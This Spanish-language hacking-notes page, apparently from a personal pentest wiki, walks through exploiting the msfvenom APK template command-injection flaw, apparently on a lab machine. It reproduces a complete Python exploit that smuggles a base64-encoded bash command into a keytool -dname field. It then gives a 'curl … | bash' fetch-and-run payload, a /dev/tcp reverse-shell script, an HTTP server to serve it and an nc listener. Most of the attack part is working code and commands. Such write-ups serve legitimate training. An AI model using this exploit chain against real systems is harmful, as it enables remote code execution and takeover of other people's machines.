> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/msfvenom-apk-exploitation.md).
# APK con Msfvenom
Notas de inyección de plantilla APK con Msfvenom para inyección de comandos en keytool, generación de APK malicioso, detección de callback, payloads de shell inversa y entrega del exploit.
## Inyección de comandos de plantilla APK de msfvenom
Se identifica un servicio vulnerable en el puerto 5000.
Buscar vulnerabilidades relacionadas:
```bash
searchsploit -m multiple/local/49491.py
```
Se identifica una posible inyección basada en APK.
**Script de exploit (msfvenom-exploit.py)**
```bash
python3 msfvenom-exploit.py
```
```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode
# Cámbiame
payload = 'ping 10.10.14.50'
# b64encode para evitar badchars (keytool es quisquilloso)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"
print(f"[+] Fabricando un apkfile malicioso")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()
tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
# Crear empty_file
open(empty_file, "w").close()
# Crear apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Generar clave de firma con -dname malicioso
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
"-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
# Firmar el APK usando nuestro dname malicioso
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
"-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] ¡Hecho! el apkfile está en {apk_file}")
print(f"Haz: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```
El script genera un archivo temporal que contiene un APK malicioso.
**Análisis de paquetes ICMP**
Monitorea la actividad de red para una devolución de llamada:
```bash
tcpdump -i tun0 icmp -n
```
### **Explotación RCE con Msfvenom**
Modifica el payload para establecer una conexión inversa:
```bash
# Cámbiame
payload = 'curl 10.10.14.50 | bash'
```
Crear un `index.html` archivo que contiene:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```
Inicia un servidor HTTP:
```bash
python3 -m http.server 80
```
Luego escucha la conexión en el puerto 443:
```bash
nc -nlvp 443
```
Una vez que el APK se envía y se ejecuta en el objetivo, se obtiene una shell remota.
---
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